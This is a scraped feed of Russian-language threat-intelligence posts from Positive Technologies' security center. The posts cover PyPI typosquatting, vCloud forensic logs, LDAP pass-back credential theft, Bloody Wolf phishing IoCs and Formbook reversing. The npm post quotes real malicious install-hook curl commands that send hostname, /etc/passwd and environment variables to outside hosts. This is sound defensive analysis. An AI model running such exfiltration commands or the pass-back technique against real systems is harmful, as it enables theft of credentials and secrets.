ESCalator
6.56K subscribers
477 photos
1 video
18 files
190 links
Tips and tricks от команды экспертного центра безопасности Positive Technologies (PT ESC)
Download Telegram
Характер кампании

Изучим проекты, выпустившие свой первый релиз в рамках действия кампании 26 июня — 7 июля, захватив слева и справа дополнительное время для наглядности: с 12 июня по 15 июля.

Разработчик, публикуя проект, может по желанию оставить email для обратной связи. В этот промежуток было опубликовано всего 4 пакета с явным указанием почты на @inbox.ru, все легитимные.

График 1 (см. ниже) демонстрирует, принял ли решение разработчик указать email в первом релизе своего проекта.
Наблюдаем:
1. Снижение общей активности разработчиков в выходные (видны двухдневные ямы, чередующиеся с пятидневными буднями).
2. Всплески пакетов без email, выпущенные 27 июня (378), 30 июня (662), 1 июля (509).

Второе наблюдение соотносится со статистикой PyPI: 27 июня выпущено 295 пакетов на @inbox.ru, 30 июня — 740, 1 июля — 249, с поправкой на часовые пояса.

В рамках периода активности есть 1403 проекта без email с одинаковым описанием: "Minimal package created automatically" — и версией 0.0.1 (график 2). Они совпадают с периодом активности кампании, которой были недовольны администраторы PyPI.

Названия пакетов из этой пачки — явный тайпсквоттинг (атака на то, что разработчик опечатается в названии пакета при установке или поведется на хорошее название — и поставит себе троян):
🟢avoid 🐱
🟢common-io
🟢win32crypt
🟢win32com
🟢pywintypes
🟢jsap
🟢webdav2
🟢arbuzmining 🍉
🟢requirements-cpu-txt
🟢requirements-cuda-txt
🟢dl-pivot-pandas
🟢steambaselib 💀
🟢catboost-spark
🟢numpynumpy
🟢antlr4-runtime
🟢celery-telegram
🟢exllama-kernels
🟢booking-api

Некоторые из названий тагретят разработчиков российских компаний:
🟢youla-spark-session 🐱
🟢ipy-kaspersky 💀
🟢vkads
🟢vkpay
🟢vkplay-sync 😺
🟢vkplay-metrics

На этих названиях становится понятно, что администрация PyPI пресекла кампанию, от которой могли пострадать наши соотечественники 🥺

#ti #pypi #pyanalysis #scs
@ptescalator
Пост 3/4
Продолжение⬇️
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
14👍10🤝6🤯1
Оправдано ли внесение почты @inbox.ru в чёрный список?

В настоящее время при создании почтового ящика на @inbox.ru требуется номер телефона или учётная запись VK. Есть упоминание, что два года назад можно было обойтись без почты. Также можно создать до 10 анонимных ящиков к своей основной почте в рамках официального функционала mail.ru.

Вероятно немаловажную роль играет простота автоматизации и более простой обход эвристик на подозрительные действия, раз злоумышленник смог управлять 207 почтами в рамках 4 часов.

Зарегистрированных на PyPI разработчиков, привязавших почту @inbox.ru, "репрессии" не касаются — были заблокированы только "пользователи", участвовавшие в кампании. Нельзя создавать новые учётные записи или привязывать эти ящики к существующим аккаунтам.

Подводя итог

Ограничение создания новых учётных записей с использованием почты на @inbox.ru — закономерная реакция на кампанию, в рамках которой пара сотен учётных записей, зарегистрированных за короткое время, начинает творить беспредел.

Почтовые домены от Microsoft также год назад попали под блокировку, это дополнительно уменьшает вероятность, что в этих действиях выражается какое-либо предвзятое отношение.

Получился опенсорсный myth busters 👀

#ti #pypi #pyanalysis #scs
@ptescalator
Пост 4/4
Please open Telegram to view this post
VIEW IN TELEGRAM
22👍16🤝10👀1
All Hackers Go To Cloud ☁️💻

В ходе расследования одного из инцидентов в полностью зашифрованной инфраструктуре мы выявили автономный веб-сервер с сайтом заказчика, не связанный напрямую с основной инфраструктурой, на котором был установлен хакерский туннель GSocket, с которого могли осуществляться атаки как на текущего заказчика, так и на другие российские компании.

Времени с момента установки туннеля прошло много, а из лог-файлов у нас только запись в логе auth, говорящая о том, что за пару минут до установки GSocket злоумышленник зашел в систему с учетной записью root, используя локальную консоль:

login[1206]: ROOT LOGIN  on '/dev/tty1'


💡 Cервер находился в инфраструктуре одного из российских провайдеров облачных сервисов на базе VMware Cloud Director.

Что можно запросить у провайдера и какие ценные данные для расследования можно получить? Давайте разбираться.

1. Лог-файлы доступа к веб-консоли управления vCloud. Обычно расположены в каталогах:

/opt/vmware/vcloud-director/logs
/opt/vmware/var/log/


Имеют имя YYYY_MM_DD.request.log и формат стандартного APACHE-лога (подробнее о лог-файлах можно почитать тут).

При их анализе можно получить идентификатор нужной нам ВМ (обычно имеет вид vm-xxxx-xxxx-xxxx-xxxxx-xxxxxxxxxxxx), IP-адрес запрашивающего клиента и его User-Agent.

Пример события:

[IP-Address] - - [11/Jan/2025:05:36:17 +0000] "GET https://vcloudsite.com/cloudapi/1.0.0/sessions/current HTTP/1.1" 200 309 "https://vcloudsite.com/tenant/org_162736/vdcs/bg85164f-8df3-4df8-ed78-gt489521657a/vapp/bg85164f-8df3-4df8-ed78-gt489521657a/vcd-vapp-vms/vm-8700-5797-076e-582e-a4a9-e82919a8864c/general" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" 118


2. Лог-файлы событий (заданий), происходивших на нужной нам ВМ. Их можно выгрузить через интерфейс портала управления vCloud или запросить у провайдера по идентификатору ВМ (можно найти в свойствах ВМ на портале).

В этих логах нас интересует событие jobAcquireScreenTicket, которое фиксирует обращение пользователя к ВМ через веб-консоль управления (tenant portal):

https://vcloudsite.com/api/task/a983bdce-ee6f-4a7b-b36d-d079be22c7a8;a658adcd-dd5e-4d1d-b25d-d083be31c2a6;;;;2024-11-25T22:42:42.547Z;jobAcquireScreenTicket;https://vcloudsite.com/api/vApp/vm-8700-5797-076e-582e-a4a9-e82919a8864c;www-srv;vm;Acquired Screen Ticket of Virtual Machine www-srv(e3380056-ac0d-22a0-76d3-2888eeb8efb2);https://vcloudsite.com/api/org/8561881b-ef74-438b-a526-2e56473d0eb6;org_262549;user;;com.vmware.vcloud;2024-11-25T22:42:42.547Z;success;


3. Лог-файлы балансировщиков VMware NSX Edge Gateway, которые расположены перед гипервизором vCloud и распределяют запросы пользователей. В них также можно найти IP-адрес пользователя, запрашивающего доступ к консоли или порталу управления, сопоставив запросы с ключевыми словами GET / LOGIN / Tenant и время обращения к ВМ из логов выше.

Вот пример подобного события:

Nov 25 22:42:42 NSX-edge-2-0 loadbalancer[10058]: [default]: {ip-адрес} - - [25/Nov/2024:22:42:42 +0000] "GET /login?service=tenant:org_141783&redirectTo=%2Ftenant%2Forg_171438 HTTP/1.1" 302 182 "" "" 25165 801 "VCD-HTTPS~" "vcd-https" "a99vcd99" 0 0 5 0 5 ---- 6 5 0 0 0 0 0 "" ""


📌 В нашем кейсе с помощью сопоставления по временным меткам данных, полученных таким образом, удалось установить IP-адреса злоумышленников, с которых осуществлялся доступ в инфраструктуру.

Happy Investigating! 🛡

#DFIR #Tips #Detect
@ptescalator
🔥1614👍14
Уязвимости типа Pass Back: что это такое и насколько опасны 🧐

Есть целый класс уязвимостей, которые на первый взгляд выглядят безобидно, и даже уровень опасности у них низкий или средний. Но если разобраться в нюансах, то все уже не кажется таким безобидным.

Примером такой уязвимости является LDAP Pass Back (CVE-2024-32122), которую зарегистрировал ведущий специалист отдела наступательной безопасности PT ESC Владислав Дриев совместно со специалистом по анализу защищенности УЦСБ Олегом Лабынцевым.

Эта уязвимость позволяет получить учетные данные (УД) от LDAP в открытом виде (зачастую это УЗ AD), злоумышленнику нужно лишь частично изменить конфигурацию коннектора. Уязвимость встречается в разных видах и в самых разных устройствах и программных продуктах.

Атакующий может получить УД в открытом виде или в виде хеша с захваченного устройства или софта. Ярким примером таких устройств, конечно, являются МФУ, но точно не ограничиваемся только ими. Уязвимыми также могут быть домофоны, камеры, сетевое оборудование. Если говорить про ПО, то чаще всего это CMS.

В чем конкретно проблема 🤔

Проблема в том, что атакующий может влиять на конфигурацию устройства, в которой есть УД. Чтобы было еще понятнее, приведем пример. Настроили МФУ, чтобы оно могло отправлять сообщения по SMTP на почту, также настроили аутентификацию по LDAP, чтобы динамически загружался список контактов, а еще — SMB, чтобы сразу можно было складывать отсканированные документы в сетевую папку.

Далее рассмотрим ситуацию, когда атакующий смог получить доступ к веб-интерфейсу с помощью УД по умолчанию. В таком случае он может попробовать изменить IP-адрес конфигурации, которая содержит УД, поменяв в ней IP-адрес на подконтрольный ему. Что это даст и почему это вообще возможно? Опыт показывает, что в большинстве случаев смена только IP-адреса в конфигурации разрешена. Соответственно, УД будут использованы валидные. Таким образом, злоумышленник сможет получить обращение с корректными учетными данными на свой IP-адрес, где сможет достать их из трафика либо в открытом виде, либо в виде хеша.

SMTP (без TLS) зачастую позволяет получить УД в открытом виде.
LDAP позволяет получить данные в открытом виде.
SMB позволяет получить хеш (часто NetNTLMv1, с которого можно выполнить NTLM Relay).
другое (УД для IP-телефонии, которые обернуты в Base64).

Что здесь небезопасного, ведь доступ ко всем конфигам скрыт за аутентификацией? Да, но не всегда все так. Способы получения доступа к конфигурациям:

УД по умолчанию.
IDOR (выделен отдельно от уязвимостей, потому что встречается часто).
Уязвимость для получения доступа к веб-интерфейсу администратора.

Еще есть случаи, когда на устройстве работает несколько администраторов, у них разные роли, но при этом каждый может получить доступ к УД коннекторов через такой нехитрый способ.

Так или иначе атакующий получит доступ к устройству. После этого скомпрометирует УД и начнет развивать атаки на смежные сервисы, в частности на AD. Кроме того, среди этого всего бывают уникальные и выдающиеся случаи:

CMS работает с учетной записью администратора домена.
МФУ работает с учетной записью администратора домена.

В итоге уязвимость низкого или среднего уровня опасности может стать звеном в цепочке компрометации всей инфраструктуры.

Итак, как этого избежать 🧐

Самый простой способ — при любом изменении конфигурации УД запросить ввести их заново. Если конфигурацию меняет администратор, для него это не будет проблемой. А если атакующий, то он ничего не получит. Понятно, что на софт не всегда можно повлиять, тогда перед тем, как войти под своей УЗ на какое-то новое устройство, можно самостоятельно проверить, как оно ведет себя с разными конфигурациями, нет ли возможности извлечь УД из него.

Более того, такие УЗ следует ограничивать в правах, брать на мониторинг. Если от имени УЗ началась разведка в домене — это явный признак компрометации устройства. Ну и конечно, нужно защищать устройства и ПО: менять пароли по умолчанию, регулярно устанавливать обновления.

#CVE #offensive
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
17🤝9👾8👍6
Возвращение blood’ного волка 🐺

С начала мая группой киберразведки PT ESC была обнаружена новая волна атак группировки Bloody Wolf на организации Киргизии.

Ранее коллеги описывали цепочку атаки этой группировки на пользователей из Казахстана и России. В текущей кампании мы видим почерк Bloody Wolf (за некоторыми исключениями).

Цепочка атаки все также начинается с фишингового письма с вложенным PDF-файлом (скриншот 1). В документе содержатся уведомление о проверке якобы от налоговой службы, генеральной прокуратуры или судебного департамента и ссылки для скачивания материалов. Для их открытия требуется Java, инструкция по ее установке также находится во вложениях. С начала мая мы выявили 40 подобных PDF-файлов, загруженных в публичные песочницы преимущественно из Киргизии (скриншоты 2–5) 📁

Интересно, что ссылки для русского и киргизского языков различаются и ведут на разные домены, хотя итоговая нагрузка идентична, только имена создаваемых папок, ключей в реестре и задач планировщика другие. URL-адреса, по которым загружаются файлы, достаточно длинные, например:

http://esf-kg.com/api/public/storage/cases/7432612384dio/ispolnitelnyj_protsess/accounts/companies/clients/420523/attachments_823664/registered/files7312518/download/PostanovleniePrivate1.4KG.jar


Использование таких длинных URL-адресов может быть связано с маскировкой под структуру реальных государственных порталов, чтобы не вызывать подозрений у жертвы 🏢

После перехода по ссылке скачивается JAR-загрузчик (часть кода приведена на скриншоте 6). При запуске он создает папку с заданным именем в папке документов пользователя и скачивает набор файлов для NetSupport, предварительно проверяя доступность узла. Затем открывает client32.exe — основной файл NetSupport, а также закрепляется тремя способами: через BAT-файл в папке автозагрузки, через ключ в реестре (Run) и через задачу планировщика с запуском при входе в систему.

При этом в загрузчике есть проверка на количество запусков файла: если их будет более трех, то он не откроется. Кроме того, при выполнении client32.exe появляется окно-заглушка: в последних семплах — сообщение об ошибке, ранее — приложение для проверки ИНН (скриншоты 7, 8).

IoCs:

C2 NetSupport RAT: 
hgame33.com
ravinads.com

Серверы для размещения полезной нагрузки JAR- и NetSupport-файлов:
auditnotice-kg.com
servicedoc-kg.com
esf-kg.com
tax-kg.com
minjust-kg.com
sti-salyk.com
sti-kg.com

PostanovleniePrivate1.4.jar
MD5:5c4a57e2e40049f8e8a6a74aa8085c80
SHA-1:15eb1cdd994b56f1d060137a2ac2f7fd7d10c48c
SHA-256:b10418925a91072e1e30438dc89ba12fbb3b0ead13f314919be33d476e3efa42

Постановление_Судебный_исполнитель_15833.pdf_с_уведомлением.pdf
MD5:b51d9edc1dc8b6200f260589a4300009
SHA-1:c5fcc1c71d5fbcadc2189d5cef6c026c14f4a11a
SHA-256:18d97b6014088df9ba731cf6327758fb500a0133b44c3d47122b341a3edb8d03


#TI #Phishing #APT
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
18🔥10👍7🆒2
Node JS. Вредоносная активность на стадии установки

В рамках исследования действий злоумышленников в npm (Node Package Manager, основного репозитория JS-кода) мы решили одним глазком заглянуть в это направление.

В пакетах JavaScript существует механизм запуска скриптов на этапе установки. Он описывается в конфигурационном файле package.json в секции scripts:

{
"name": "<from-ptescalator-with-love>",
"version": "1.0.0",
"description": "Example config of package.json for demonstration-purposes",
"main": "hello.js",
"scripts": {
"preinstall": "echo \"I will be run at pre-install stage\"",
"install": "echo \"I will be run at install stage\"",
"postinstall": "echo \"I will be run at post-install stage\""
}
}


Значения являются командами для системного интерпретатора, будь то sh, bash, fish или даже виндовый cmd — что стоит по умолчанию, то и будет использовано 😎

Злоумышленники идут двумя путями в рамках эксплуатации возможности запустить свою нагрузку во время установки:

🫥 Запустить js-код

atlas-websocket@33.9.9, postinstall:
node index.js


wokes@1.0.0, postinstall:
node cli/setup-security.js


🫥 Исполнить команду системным интерпретатором:

autogestion-aprendizaje@1.0.4, preinstall, передача hostname:
echo "No tests" && curl "http://[REDACTED].net/?NPM=$(hostname)&<template>"


bsee-shared-hmd@1.0.6, preinstall, кража /etc/passwd и получение hostname:
sh -c 'curl -X POST -d "user=$(whoami)&host=$(hostname)&passwd=$(cat /etc/passwd | base64)" https://webhook-test.com/[REDACTED]'


storyblok-rich-text-astro-renderer-workspace@99.99.99
, postinstall, кража переменных окружения:
curl -X POST https://[REDACTED].oastify.com --data "$(env)"


arkoselabs@99.9.13
, preinstall, кража переменных окружения, /etc/passwd, hostname и имени пользователя:
curl --data-urlencode "info=$(hostname && whoami && cat /proc/self/environ && cat /etc/passwd)" http://[REDACTED].oast.me"


Если пост соберет 1000 сердечек🥰 В следующий раз расскажем о разнообразии нагрузок-скриптов на этапе установки JS-пакетов.

#ti #scs #pyanalysis
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
40🔥9👍7🤡1
Углубление в импорты: продолжаем изучать способы статического резолва 🕵️‍♂️

Ранее мы рассказывали, как может быть реализован статический резолв импортов. Однако для полноты картины мы решили показать еще один пример того, какими бывают механизмы динамического разрешения импортов во вредоносном ПО и как с помощью статического анализа превратить группу непонятных байтов в осмысленные названия функций. Это поможет ускорить процесс реверса и избавит нас от необходимости ручной разметки.

В качестве примера рассмотрим один из свежих образцов Formbook. Позволим ему распаковаться, после чего сдампим и откроем его в IDA Pro. Побродив по функциям, можно заметить несколько закономерностей в вызовах, которые очень похожи на динамическое разрешение импортов (cкриншот 1).

❗️ Также следует обратить внимание, что функций с расшифровкой хешей две: decrypt_hash, которая использует только зашифрованный хеш функции, и decrypt_hash_xor, которая имеет дополнительный параметр, назначение которого станет известно позднее.

Заглянем внутрь обеих функций и увидим, что единственное различие между ними — подход к генерации ключа для RC4. Второй параметр в decrypt_hash_xor накладывается на жестко заданный ключ перед вызовом функции расшифровки (скриншот 2).

Осталось понять, что происходит в вызове decrypt_rc4_buff, и можно писать декриптор. Содержимое функции можно увидеть на скриншоте 3.

Циклы до и после непосредственной расшифровки RC4 сводятся к последовательному попарному вычитанию соседних байтов сначала слева направо, а затем справа налево. Эквивалент кода на питоне представлен на скриншоте 4.

🧤 Дело осталось за малым — пройтись по ссылкам на эти две функции и собрать аргументы, после чего восстановить исходные имена импортов. Для реализации первой части определим класс CallVisitor и определим в нем логику по сохранению нужной информации о вызове (скриншот 5). Такой подход удобнее, чем «ручной» поиск аргументов путем обратной итерации по инструкциям, предшествующим вызову, поскольку зачастую аргументы могут быть обфусцированы: разбросаны по телу вызывающей функции или вычисляться непосредственно перед вызовом.

Чтобы получить имя оригинальной функции из хеша, воспользуемся утилитами flare-ida. Среди прочего там уже есть БД sc_hashes.db с заранее просчитанными хешами для стандартных библиотек, которая позволит нам быстро восстановить большую часть импортов. Для отсутствующих в БД библиотек можно сгенерировать хеши самостоятельно лежащим рядом скриптом (скриншот 6).

Результат работы можно увидеть на скриншоте 7. Больше 80% найденных функций восстановились с ходу.

😎 Как и ожидалось, восстановленные хеши были созданы алгоритмом crc32bzip2, они встречались и в более ранних семплах Formbook. Таким образом, нам удалось быстро восстановить импорты в исследуемом образце, а также понять общий подход к шифрованию данных в Formbook, что в дальнейшем значительно упрощает его анализ.

#tip #reverse #malware
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥1612👍112😁1